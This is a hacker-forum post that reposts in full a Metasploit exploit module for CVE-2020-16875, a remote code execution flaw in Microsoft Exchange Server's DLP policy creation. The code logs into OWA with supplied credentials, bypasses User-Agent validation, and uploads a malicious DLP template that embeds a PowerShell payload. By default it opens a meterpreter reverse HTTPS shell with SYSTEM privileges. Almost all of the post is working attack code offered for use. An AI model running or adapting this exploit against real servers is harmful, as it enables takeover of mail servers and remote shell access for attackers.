• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

MicrosoftExchangeServerDlpUtils添加TenantDlpPolicy远程代码执行漏洞


H4CK

Recommended Posts

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
 
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
        'Description' => %q{
          This vulnerability allows remote attackers to execute arbitrary code
          on affected installations of Exchange Server. Authentication is
          required to exploit this vulnerability. Additionally, the target user
          must have the "Data Loss Prevention" role assigned and an active
          mailbox.
 
          If the user is in the "Compliance Management" or greater "Organization
          Management" role groups, then they have the "Data Loss Prevention"
          role. Since the user who installed Exchange is in the "Organization
          Management" role group, they transitively have the "Data Loss
          Prevention" role.
 
          The specific flaw exists within the processing of the New-DlpPolicy
          cmdlet. The issue results from the lack of proper validation of
          user-supplied template data when creating a DLP policy. An attacker
          can leverage this vulnerability to execute code in the context of
          SYSTEM.
 
          Tested against Exchange Server 2016 CU14 on Windows Server 2016.
        },
        'Author' => [
          'mr_me', # Discovery, exploits, and most of the words above
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-16875'],
          ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'],
          ['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
          ['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'],
          ['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt']
        ],
        'DisclosureDate' => '2020-09-08', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          ['Exchange Server 2016 and 2019 w/o KB4577352', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true,
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_https',
          'HttpClientTimeout' => 5,
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
            CONFIG_CHANGES, # Creates a new DLP policy
            ARTIFACTS_ON_DISK # Uses a DLP policy template file
          ]
        }
      )
    )
 
    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [false, 'OWA username']),
      OptString.new('PASSWORD', [false, 'OWA password'])
    ])
  end
 
  def post_auth?
    true
  end
 
  def username
    datastore['USERNAME']
  end
 
  def password
    datastore['PASSWORD']
  end
 
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx')
    )
 
    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end
 
    unless res.code == 200 && res.body.include?('<title>Outlook</title>')
      return CheckCode::Unknown('Target does not appear to be running OWA.')
    end
 
    CheckCode::Detected("OWA is running at #{full_uri('/owa/')}")
  end
 
  def exploit
    owa_login
    create_dlp_policy(retrieve_viewstate)
  end
 
  def owa_login
    unless username && password
      fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
    end
 
    print_status("Logging in to OWA with creds #{username}:#{password}")
 
    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'),
      'vars_post' => {
        'username' => username,
        'password' => password,
        'flags' => '',
        'destination' => full_uri('/owa/', vhost_uri: true)
      },
      'keep_cookies' => true
    }, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth
 
    unless res
      fail_with(Failure::Unreachable, 'Failed to access OWA login page')
    end
 
    unless res.code == 200 && cookie_jar.grep(/^cadata/).any?
      if res.body.include?('There are too many active sessions connected to this mailbox.')
        fail_with(Failure::NoAccess, 'Reached active session limit for mailbox')
      end
 
      fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')
    end
 
    if res.body.include?('Choose your preferred display language and home time zone below.')
      fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured')
    end
 
    print_good('Successfully logged in to OWA')
  end
 
  def retrieve_viewstate
    print_status('Retrieving ViewState from DLP policy creation page')
 
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
      'agent' => '', # HACK: Bypass Exchange's User-Agent validation
      'keep_cookies' => true
    )
 
    unless res
      fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page')
    end
 
    unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
      fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState')
    end
 
    print_good('Successfully retrieved ViewState')
    viewstate
  end
 
  def create_dlp_policy(viewstate)
    print_status('Creating custom DLP policy from malicious template')
    vprint_status("DLP policy name: #{dlp_policy_name}")
 
    form_data = Rex::MIME::Message.new
    form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
    form_data.add_part(
      'ResultPanePlaceHolder_ButtonsPanel_btnNext',
      nil,
      nil,
      'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
    )
    form_data.add_part(
      dlp_policy_name,
      nil,
      nil,
      'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
    )
    form_data.add_part(
      dlp_policy_template,
      'text/xml',
      nil,
      %(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}")
    )
 
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'),
      'agent' => '', # HACK: Bypass Exchange's User-Agent validation
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s
    }, 0)
  end
 
  def dlp_policy_template
    # https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
    <<~XML
      <?xml version="1.0" encoding="UTF-8"?>
      <dlpPolicyTemplates>
        <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
          <contentVersion>4</contentVersion>
          <publisherName>Metasploit</publisherName>
          <name>
            <localizedString lang="en">#{dlp_policy_name}</localizedString>
          </name>
          <description>
            <localizedString lang="en">wvu was here</localizedString>
          </description>
          <keywords></keywords>
          <ruleParameters></ruleParameters>
          <policyCommands>
            <commandBlock>
              <![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]>
            </commandBlock>
          </policyCommands>
          <policyCommandsResources></policyCommandsResources>
        </dlpPolicyTemplate>
      </dlpPolicyTemplates>
    XML
  end
 
  def dlp_policy_name
    @dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
  end
 
  def dlp_policy_filename
    @dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
  end
 
end

 

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now